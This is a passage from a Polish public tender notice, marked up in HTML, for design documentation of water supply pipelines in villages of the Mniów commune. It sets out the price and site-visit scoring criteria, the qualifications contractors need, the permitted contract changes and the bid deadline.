Wykonawcę, którego oferta została uznana za najkorzystniejszą, ze względu na uzyskanie<br/>największej ilości punktów<br/>7. Sposób obliczenia całkowitej liczby punktów: P = C + A<br/>gdzie:<br/>P – całkowita liczba punktów dla rozpatrywanej oferty,<br/>C – liczba punktów uzyskanych w kryterium „cena”,<br/>A – liczba punktów uzyskanych w kryterium „ilość wizyt na budowie w ramach nadzoru autorskiego”.<br/>8. Ocena końcowa oferty zostanie obliczona jako suma punktów uzyskanych w poszczególnych kryteriach oceny oferty. Za<br/>najkorzystniejszą zostanie uznana oferta, która uzyska największą liczbę punktów z końcowej oceny ofert (maksymalnie: 100,00<br/>pkt).<br/>Jeżeli dwie lub więcej ofert uzyska taki sam bilans ceny i innych kryteriów oceny ofert, za-mawiający spośród tych ofert wybierze<br/>ofertę z najniższą ceną.</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Punktowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60,00</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">inne.</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">„ilość wizyt na budowie w ramach nadzoru autorskiego”</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40,00</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 11</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> Zadanie 11. Opracowanie projektów budowlano wykonawczych wodociągu w msc. Pępice 3 </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">71320000-7 - Usługi inżynieryjne w zakresie projektowania</span></h3> <h3 class="mb-0">4.2.7.) Dodatkowy kod CPV: </h3> <p class="mb-0">71322200-3 - Usługi projektowania rurociągów</p> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">8 miesiące</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Za najkorzystniejszą zostanie uznana oferta (spośród wszystkich złożonych w postępowaniu ofert<br/>niepodlegających odrzuceniu), która otrzyma największą łączną liczbę punków w poszczególnych kryteriach oceny ofert ( C+A).<br/>Przy wyborze oferty Zamawiający będzie się kierował następującymi kryteriami:<br/>a. Kryterium „CENA”<br/>Oferta proponująca najniższą cenę otrzyma 60 pkt, pozostałe oferty będą punktowane we-dług poniższego wzoru, z dokładnością do<br/>1/100 punktu:<br/>C min<br/>C = ----------------------------x 60<br/>C bad.<br/>Gdzie:<br/>C - ilość punktów oferty badanej w kryterium cena<br/>C min - najniższa cena(brutto) spośród wszystkich podlegających ocenie ofert<br/>C bad. – cena (brutto) oferty badanej.<br/>b. Kryterium „ilość wizyt na budowie w ramach nadzoru autorskiego”:<br/>Zamawiający wymaga, aby Wykonawca zagwarantował minimum 3 –wizyty na budowie bez dodatkowego kosztu.<br/>3. Za zaoferowanie 3 wizyt na budowie w ramach nadzoru autorskiego przyznaje się 10 punktów.<br/>4. Dodatkowe 4 wizyt na budowie w ramach nadzoru autorskiego – 20 punktów, 5 wizyt - 30 punktów, 6 wizyt na budowie – 40<br/>punktów.<br/>5. W tym kryterium Wykonawca może otrzymać maksymalnie 40 pkt.<br/>6. Zamawiający oceni i porówna jedynie te oferty, które zostaną określone jako zgodne z wymaganiami określonymi w niniejszej<br/>specyfikacji. Zamawiający wybierze tego Wykonawcę, którego oferta została uznana za najkorzystniejszą, ze względu na uzyskanie<br/>największej ilości punktów<br/>7. Sposób obliczenia całkowitej liczby punktów: P = C + A<br/>gdzie:<br/>P – całkowita liczba punktów dla rozpatrywanej oferty,<br/>C – liczba punktów uzyskanych w kryterium „cena”,<br/>A – liczba punktów uzyskanych w kryterium „ilość wizyt na budowie w ramach nadzoru autorskiego”.<br/>8. Ocena końcowa oferty zostanie obliczona jako suma punktów uzyskanych w poszczególnych kryteriach oceny oferty. Za<br/>najkorzystniejszą zostanie uznana oferta, która uzyska największą liczbę punktów z końcowej oceny ofert (maksymalnie: 100,00<br/>pkt).<br/>Jeżeli dwie lub więcej ofert uzyska taki sam bilans ceny i innych kryteriów oceny ofert, za-mawiający spośród tych ofert wybierze<br/>ofertę z najniższą ceną.</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Punktowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60,00</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">inne.</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">„ilość wizyt na budowie w ramach nadzoru autorskiego”</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40,00</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 12</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> Zadanie 12. Opracowanie projektów budowlano wykonawczych wodociągu w msc. Stachura. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">71320000-7 - Usługi inżynieryjne w zakresie projektowania</span></h3> <h3 class="mb-0">4.2.7.) Dodatkowy kod CPV: </h3> <p class="mb-0">71322200-3 - Usługi projektowania rurociągów</p> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">8 miesiące</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Za najkorzystniejszą zostanie uznana oferta (spośród wszystkich złożonych w postępowaniu ofert<br/>niepodlegających odrzuceniu), która otrzyma największą łączną liczbę punków w poszczególnych kryteriach oceny ofert ( C+A).<br/>Przy wyborze oferty Zamawiający będzie się kierował następującymi kryteriami:<br/>a. Kryterium „CENA”<br/>Oferta proponująca najniższą cenę otrzyma 60 pkt, pozostałe oferty będą punktowane we-dług poniższego wzoru, z dokładnością do<br/>1/100 punktu:<br/>C min<br/>C = ----------------------------x 60<br/>C bad.<br/>Gdzie:<br/>C - ilość punktów oferty badanej w kryterium cena<br/>C min - najniższa cena(brutto) spośród wszystkich podlegających ocenie ofert<br/>C bad. – cena (brutto) oferty badanej.<br/>b. Kryterium „ilość wizyt na budowie w ramach nadzoru autorskiego”:<br/>Zamawiający wymaga, aby Wykonawca zagwarantował minimum 3 –wizyty na budowie bez dodatkowego kosztu.<br/>3. Za zaoferowanie 3 wizyt na budowie w ramach nadzoru autorskiego przyznaje się 10 punktów.<br/>4. Dodatkowe 4 wizyt na budowie w ramach nadzoru autorskiego – 20 punktów, 5 wizyt - 30 punktów, 6 wizyt na budowie – 40<br/>punktów.<br/>5. W tym kryterium Wykonawca może otrzymać maksymalnie 40 pkt.<br/>6. Zamawiający oceni i porówna jedynie te oferty, które zostaną określone jako zgodne z wymaganiami określonymi w niniejszej<br/>specyfikacji. Zamawiający wybierze tego Wykonawcę, którego oferta została uznana za najkorzystniejszą, ze względu na uzyskanie<br/>największej ilości punktów<br/>7. Sposób obliczenia całkowitej liczby punktów: P = C + A<br/>gdzie:<br/>P – całkowita liczba punktów dla rozpatrywanej oferty,<br/>C – liczba punktów uzyskanych w kryterium „cena”,<br/>A – liczba punktów uzyskanych w kryterium „ilość wizyt na budowie w ramach nadzoru autorskiego”.<br/>8. Ocena końcowa oferty zostanie obliczona jako suma punktów uzyskanych w poszczególnych kryteriach oceny oferty. Za<br/>najkorzystniejszą zostanie uznana oferta, która uzyska największą liczbę punktów z końcowej oceny ofert (maksymalnie: 100,00<br/>pkt).<br/>Jeżeli dwie lub więcej ofert uzyska taki sam bilans ceny i innych kryteriów oceny ofert, za-mawiający spośród tych ofert wybierze<br/>ofertę z najniższą ceną.</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Punktowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60,00</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">inne.</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">„ilość wizyt na budowie w ramach nadzoru autorskiego”</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40,00</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 13</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> Zadanie 13. Opracowanie projektów budowlano wykonawczych wodociągu w msc. Mniów ul. Brzozowa. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">71320000-7 - Usługi inżynieryjne w zakresie projektowania</span></h3> <h3 class="mb-0">4.2.7.) Dodatkowy kod CPV: </h3> <p class="mb-0">71322200-3 - Usługi projektowania rurociągów</p> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">8 miesiące</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Za najkorzystniejszą zostanie uznana oferta (spośród wszystkich złożonych w postępowaniu ofert<br/>niepodlegających odrzuceniu), która otrzyma największą łączną liczbę punków w poszczególnych kryteriach oceny ofert ( C+A).<br/>Przy wyborze oferty Zamawiający będzie się kierował następującymi kryteriami:<br/>a. Kryterium „CENA”<br/>Oferta proponująca najniższą cenę otrzyma 60 pkt, pozostałe oferty będą punktowane we-dług poniższego wzoru, z dokładnością do<br/>1/100 punktu:<br/>C min<br/>C = ----------------------------x 60<br/>C bad.<br/>Gdzie:<br/>C - ilość punktów oferty badanej w kryterium cena<br/>C min - najniższa cena(brutto) spośród wszystkich podlegających ocenie ofert<br/>C bad. – cena (brutto) oferty badanej.<br/>b. Kryterium „ilość wizyt na budowie w ramach nadzoru autorskiego”:<br/>Zamawiający wymaga, aby Wykonawca zagwarantował minimum 3 –wizyty na budowie bez dodatkowego kosztu.<br/>3. Za zaoferowanie 3 wizyt na budowie w ramach nadzoru autorskiego przyznaje się 10 punktów.<br/>4. Dodatkowe 4 wizyt na budowie w ramach nadzoru autorskiego – 20 punktów, 5 wizyt - 30 punktów, 6 wizyt na budowie – 40<br/>punktów.<br/>5. W tym kryterium Wykonawca może otrzymać maksymalnie 40 pkt.<br/>6. Zamawiający oceni i porówna jedynie te oferty, które zostaną określone jako zgodne z wymaganiami określonymi w niniejszej<br/>specyfikacji. Zamawiający wybierze tego Wykonawcę, którego oferta została uznana za najkorzystniejszą, ze względu na uzyskanie<br/>największej ilości punktów<br/>7. Sposób obliczenia całkowitej liczby punktów: P = C + A<br/>gdzie:<br/>P – całkowita liczba punktów dla rozpatrywanej oferty,<br/>C – liczba punktów uzyskanych w kryterium „cena”,<br/>A – liczba punktów uzyskanych w kryterium „ilość wizyt na budowie w ramach nadzoru autorskiego”.<br/>8. Ocena końcowa oferty zostanie obliczona jako suma punktów uzyskanych w poszczególnych kryteriach oceny oferty. Za<br/>najkorzystniejszą zostanie uznana oferta, która uzyska największą liczbę punktów z końcowej oceny ofert (maksymalnie: 100,00<br/>pkt).<br/>Jeżeli dwie lub więcej ofert uzyska taki sam bilans ceny i innych kryteriów oceny ofert, za-mawiający spośród tych ofert wybierze<br/>ofertę z najniższą ceną.</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Punktowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60,00</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">inne.</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">„ilość wizyt na budowie w ramach nadzoru autorskiego”</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40,00</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 14</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> Zadanie 14. Opracowanie projektów budowlano wykonawczych wodociągu w msc. Wólka Kłucka </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">71320000-7 - Usługi inżynieryjne w zakresie projektowania</span></h3> <h3 class="mb-0">4.2.7.) Dodatkowy kod CPV: </h3> <p class="mb-0">71322200-3 - Usługi projektowania rurociągów</p> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">8 miesiące</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Za najkorzystniejszą zostanie uznana oferta (spośród wszystkich złożonych w postępowaniu ofert<br/>niepodlegających odrzuceniu), która otrzyma największą łączną liczbę punków w poszczególnych kryteriach oceny ofert ( C+A).<br/>Przy wyborze oferty Zamawiający będzie się kierował następującymi kryteriami:<br/>a. Kryterium „CENA”<br/>Oferta proponująca najniższą cenę otrzyma 60 pkt, pozostałe oferty będą punktowane we-dług poniższego wzoru, z dokładnością do<br/>1/100 punktu:<br/>C min<br/>C = ----------------------------x 60<br/>C bad.<br/>Gdzie:<br/>C - ilość punktów oferty badanej w kryterium cena<br/>C min - najniższa cena(brutto) spośród wszystkich podlegających ocenie ofert<br/>C bad. – cena (brutto) oferty badanej.<br/>b. Kryterium „ilość wizyt na budowie w ramach nadzoru autorskiego”:<br/>Zamawiający wymaga, aby Wykonawca zagwarantował minimum 3 –wizyty na budowie bez dodatkowego kosztu.<br/>3. Za zaoferowanie 3 wizyt na budowie w ramach nadzoru autorskiego przyznaje się 10 punktów.<br/>4. Dodatkowe 4 wizyt na budowie w ramach nadzoru autorskiego – 20 punktów, 5 wizyt - 30 punktów, 6 wizyt na budowie – 40<br/>punktów.<br/>5. W tym kryterium Wykonawca może otrzymać maksymalnie 40 pkt.<br/>6. Zamawiający oceni i porówna jedynie te oferty, które zostaną określone jako zgodne z wymaganiami określonymi w niniejszej<br/>specyfikacji. Zamawiający wybierze tego Wykonawcę, którego oferta została uznana za najkorzystniejszą, ze względu na uzyskanie<br/>największej ilości punktów<br/>7. Sposób obliczenia całkowitej liczby punktów: P = C + A<br/>gdzie:<br/>P – całkowita liczba punktów dla rozpatrywanej oferty,<br/>C – liczba punktów uzyskanych w kryterium „cena”,<br/>A – liczba punktów uzyskanych w kryterium „ilość wizyt na budowie w ramach nadzoru autorskiego”.<br/>8. Ocena końcowa oferty zostanie obliczona jako suma punktów uzyskanych w poszczególnych kryteriach oceny oferty. Za<br/>najkorzystniejszą zostanie uznana oferta, która uzyska największą liczbę punktów z końcowej oceny ofert (maksymalnie: 100,00<br/>pkt).<br/>Jeżeli dwie lub więcej ofert uzyska taki sam bilans ceny i innych kryteriów oceny ofert, za-mawiający spośród tych ofert wybierze<br/>ofertę z najniższą ceną.</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Punktowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60,00</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">inne.</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">„ilość wizyt na budowie w ramach nadzoru autorskiego”</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40,00</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA V - KWALIFIKACJA WYKONAWCÓW</h2> <h3 class="mb-0">5.1.) Zamawiający przewiduje fakultatywne podstawy wykluczenia: <span class="normal">Nie</span></h3> <h3 class="mb-0">5.3.) Warunki udziału w postępowaniu: <span class="normal">Tak</span></h3> <h3 class="mb-0">5.4.) Nazwa i opis warunków udziału w postępowaniu.</h3> 1 O udzielenie zamówienia mogą ubiegać się Wykonawcy, którzy nie podlegają wykluczeniu na zasadach określonych w pkt V SWZ, oraz spełniają określone przez Zamawiającego warunki udziału w postępowaniu.<br/> 2 O udzielenie zamówienia mogą ubiegać się Wykonawcy, którzy spełniają warunki udziału w postępowaniu dotyczące:<br/> 2.1 Zdolności do występowania w obrocie gospodarczym. Zamawiający nie wyznacza szczegółowego warunku w tym zakresie.<br/> 2.2 Uprawnień do prowadzenia określonej działalności gospodarczej lub zawodowej, o ile wynika to z odrębnych przepisów. Zamawiający nie wyznacza szczegółowego warunku w tym zakresie.<br/> 2.3 Sytuacji ekonomicznej lub finansowej Zamawiający nie wyznacza szczegółowego warunku w tym zakresie.<br/> 2.4 Zdolności technicznej lub zawodowej - o udzielenie zamówienia mogą ubiegać się Wykonawcy, którzy wykażą, że:<br/>2.4.1. dysponują osobami zdolnymi do wykonania zamówienia, tj. o niniejsze za-mówienie może ubiegać się Wykonawca, który wykaże, że dysponuje lub będzie dysponował osobami posiadającymi uprawnienia budowlane do projektowania w następujących specjalnościach:<br/>•	co najmniej 1 osobą z uprawnieniami do projektowania w specjalności instalacyjnej w zakresie sieci, instalacji i urządzeń cieplnych, wentylacyjnych, gazowych, wodociągowych.<br/><br/>2.4.1.1. Uprawnienia, o których mowa powyżej, powinny być zgodne z ustawą z dnia 7 lipca 1994r. Prawo budowlane (t.j. Dz. U. z 2021 r., poz. 2351 z późn. zm.) lub ważne odpowiadające im kwalifikacje, nadane na podstawie wcześniej obowiązujących przepisów upoważniające do projektowania w zakresie objętym niniejszym zamówieniem.<br/>2.4.1.2. Zgodnie z art. 12a ustawy Prawo budowlane samodzielne funkcje techniczne w budownictwie, określone w art. 12 ust. 1 ustawy mogą również wykonywać osoby, których odpowiednie kwalifikacje zawodowe zostały uznane na za-sadach określonych w przepisach odrębnych. Regulację odrębną stanowią prze-pisy ustawy z dnia 22 grudnia 2015 r. o zasadach uznawania kwalifikacji zawodowych nabytych w państwach członkowskich Unii Europejskiej (t. j. Dz. U. z 2021 r., poz. 1646).<br/>2.4.1.3. W przypadku osób będących obywatelami państw członkowskich UE, Konfederacji Szwajcarskiej lub państw członkowskich (EFTA) - stron umowy o Europejskim Obszarze Gospodarczym – prawo do wykonywania samodzielnych funkcji technicznych w budownictwie na terytorium RP winno być potwierdzone odpowiednią decyzją o uznaniu kwalifikacji zawodowych lub prawa do świadczenia usług transgranicznych.<br/>2.4.1.4. Dopuszcza się uprawnienia równoważne (w zakresie koniecznym do wy-konania przedmiotu zamówienia) – dla osób, które posiadają uprawnienia uzyskane przed dniem wejścia w życie ustawy z dnia 7 lipca 1994 r. Prawo budowlane lub stwierdzenie posiadania przygotowania zawodowego do pełnienia samo-dzielnych funkcji technicznych w budownictwie i zachowały uprawnienia do pełnienia tych funkcji w dotychczasowym zakresie.<br/> 3 W przypadku wykonawców wspólnie ubiegających się o udzielenie zamówienia warunki, <br/>o których mowa w pkt. V. 2.4 niniejszej SWZ zostaną spełnione wyłącznie, jeżeli: chociaż je-den z Wykonawców będzie dysponował osobami wskazanymi powyżej w specyfikacji lub Wykonawcy będą wspólnie dysponowali tymi osobami.<br/> 4 Zamawiający może na każdym etapie postępowania, uznać, że wykonawca nie posiada wymaganych zdolności, jeżeli posiadanie przez wykonawcę sprzecznych interesów, w szczególności zaangażowanie zasobów technicznych lub zawodowych wykonawcy w inne przedsięwzięcia gospodarcze wykonawcy może mieć negatywny wpływ na realizację za-mówienia. <h3 class="mb-0">5.5.) Zamawiający wymaga złożenia oświadczenia, o którym mowa w art.125 ust. 1 ustawy: <span class="normal">Tak</span></h3> <h3 class="mb-0"> 5.6.) Wykaz podmiotowych środków dowodowych na potwierdzenie niepodlegania wykluczeniu: <span class="normal">1.1 oświadczenie braku<br/>podstaw wykluczenia;</span> </h3> <h3 class="mb-0"> 5.7.) Wykaz podmiotowych środków dowodowych na potwierdzenie spełniania warunków udziału w postępowaniu: <span class="normal">1.1Oświadczenie braku podstaw wykluczenia;<br/>1.2 Oświadczenie spełniania warunków udziału w postępowaniu lub kryteriów selekcji, w formie określonej w Rozporządzeniu<br/>Ministra Rozwoju,<br/>Pracy i Technologii z dnia 23 grudnia 2020 r. w sprawie podmiotowych środków dowodowych oraz innych dokumentów lub<br/>oświadczeń, jakich może żądać zamawiający od wykonawcy (Dz. U. z 2020 r. poz. 2415).</span> </h3> <h3 class="mb-0">5.11.) Wykaz innych wymaganych oświadczeń lub dokumentów: </h3> Wykaz osób, zgodnego ze wzorem stanowiącym załącznik nr 6 do SWZ, skierowanych przez wykonawcę do realizacji<br/>zamówienia publicznego, spełniających wymagania określone w punkcie V. 2.4.1 SWZ wraz z informacjami na temat ich<br/>kwalifikacji zawodowych, uprawnień, doświadczenia i wykształcenia niezbędnych do wykonania zamówienia publicznego, a<br/>także zakresu wykonywanych przez nie czynności oraz informacją o podstawie do dysponowania tymi osobami. <h2 class="bg-light p-3 mt-4">SEKCJA VI - WARUNKI ZAMÓWIENIA</h2> <h3 class="mb-0">6.1.) Zamawiający wymaga albo dopuszcza oferty wariantowe: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.3.) Zamawiający przewiduje aukcję elektroniczną: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.4.) Zamawiający wymaga wadium: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.5.) Zamawiający wymaga zabezpieczenia należytego wykonania umowy: <span class="normal">Tak</span></h3> <h3 class="mb-0">6.6.) Wymagania dotyczące składania oferty przez wykonawców wspólnie ubiegających się o udzielenie zamówienia: </h3> 1. Wykonawcy mogą wspólnie ubiegać się o udzielenie zamówienia. W takim przypadku Wy-konawcy ustanawiają<br/>pełnomocnika do reprezentowania ich w postępowaniu albo do re-prezentowania i zawarcia umowy w sprawie zamówienia<br/>publicznego.<br/>Pełnomocnictwo winno być załączone do oferty.<br/>2. W odniesieniu do warunków dotyczących wykształcenia, kwalifikacji zawodowych lub do-świadczenia wykonawcy<br/>wspólnie ubiegający się o udzielenie zamówienia mogą polegać na zdolnościach tych z wykonawców, którzy wykonają<br/>roboty budowlane lub usługi, do re-alizacji których te zdolności są wymagane.<br/>3. Wykonawcy wspólnie ubiegający się o udzielenie zamówienia dołączają do oferty oświadczenie, z którego wynika, które<br/>roboty budowlane, dostawy lub usługi wykonają poszczególni wykonawcy, wg wzoru stanowiącego Załącznik nr 7 do SWZ.<br/>4. Oświadczenia i dokumenty potwierdzające brak podstaw do wykluczenia z postępowania składa każdy z Wykonawców<br/>wspólnie ubiegających się o zamówienie. <h3 class="mb-0">6.7.) Zamawiający przewiduje unieważnienie postępowania, jeśli środki publiczne, które zamierzał przeznaczyć na sfinansowanie całości lub części zamówienia nie zostały przyznane: <span class="normal">Tak</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA VII - PROJEKTOWANE POSTANOWIENIA UMOWY</h2> <h3 class="mb-0">7.1.) Zamawiający przewiduje udzielenia zaliczek: <span class="normal">Nie</span></h3> <h3 class="mb-0">7.3.) Zamawiający przewiduje zmiany umowy: <span class="normal">Tak</span></h3> <h3 class="mb-0">7.4.) Rodzaj i zakres zmian umowy oraz warunki ich wprowadzenia: </h3> 1 Niezależnie od zmian dopuszczanych przepisem art. 455 ustawy PZP Zamawiający może dokonać zmiany postanowień<br/>zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru Wykonawcy, w następujących<br/>przypadkach:<br/>1.1. zmiana terminu wykonania przedmiotu umowy może wystąpić i obejmować będzie czas, w którym niemożliwe było<br/>realizowanie zamówienia w następujących przypadkach:<br/>a opóźnienia w zawarciu umowy uniemożliwiającego rozpoczęcie prac spowodowane w szczególności korzystaniem przez<br/>wykonawców ze środków ochrony prawnej określonych w ustawie PZP,<br/>b zmiany będące następstwem działań bądź zaniechań pomiotów trzecich, w tym w szczególności organów administracji<br/>podczas uzyskiwania opinii, postanowień, uzgodnień i decyzji wymaganych przepisami szczególnymi,<br/>c zmiany przepisów prawa związanych z wykonaniem przedmiotu umowy,<br/>d zmiany będące następstwem zdarzeń losowych, o których niezwłocznie poinformowano Zamawiającego,<br/>e na skutek polecenia przez Zamawiającego dokonania zmiany w opracowaniu dokumentacji projektowej,<br/>1.2. zmiany zakresu i sposobu wykonania przedmiotu zamówienia:<br/>a rezygnacja z części prac wymienionych w pozycjach zbiorczego zestawienia wartości usług i formularzy cenowych,<br/>zmiana kolejności lub terminu wykonania opracowań projektowych lub ich elementów, wykonanie zamiennego opracowania<br/>projektowego lub jego elementu,<br/>b zwiększenie części zakresu usług wynikające m.in. z wykonania zamiennego lub dodatkowego pracowania projektowego<br/>lub jego elementu, skutkujące zmianą wynagrodzenia,<br/>1.3 inne zmiany:<br/>a zmiana nazwy zadania,<br/>b zmiana nazwy Wykonawcy lub Zamawiającego,<br/>c zmiana lub wprowadzenie części zamówienia, której wykonanie zamierza powierzyć Podwykonawcom, wraz z podaniem nazwy Podwykonawcy,<br/>2 Nie stanowią zmiany umowy następujące zmiany:<br/>a danych osobowych przedstawicieli Zamawiającego i Wykonawcy,<br/>b danych teleadresowych,<br/>c Harmonogramu prac projektowych wynikające z przypadków przewidzianych w Umowie. <h3 class="mb-0">7.5.) Zamawiający uwzględnił aspekty społeczne, środowiskowe, innowacyjne lub etykiety związane z realizacją zamówienia: <span class="normal">Tak</span></h3> <h3 class="mb-0">7.6.) Zamawiający przewiduje następujące wymagania związane z realizacją zamówienia: </h3> <p class="mb-0">w zakresie zatrudnienia na podstawie stosunku pracy, w okolicznościach, o których mowa w art. 95 ustawy</p> <h2 class="bg-light p-3 mt-4">SEKCJA VIII – PROCEDURA</h2> <h3 class="mb-0">8.1.) Termin składania ofert: <span class="normal">2024-03-12 11:00</span></h3> <h3 class="mb-0">8.2.) Miejsce składania ofert: <span class="normal">Ofertę wraz z wymaganymi dokumentami należy umieścić na Platformie pod adresem: https://mniow.ezamawiajacy.pl w zakładce 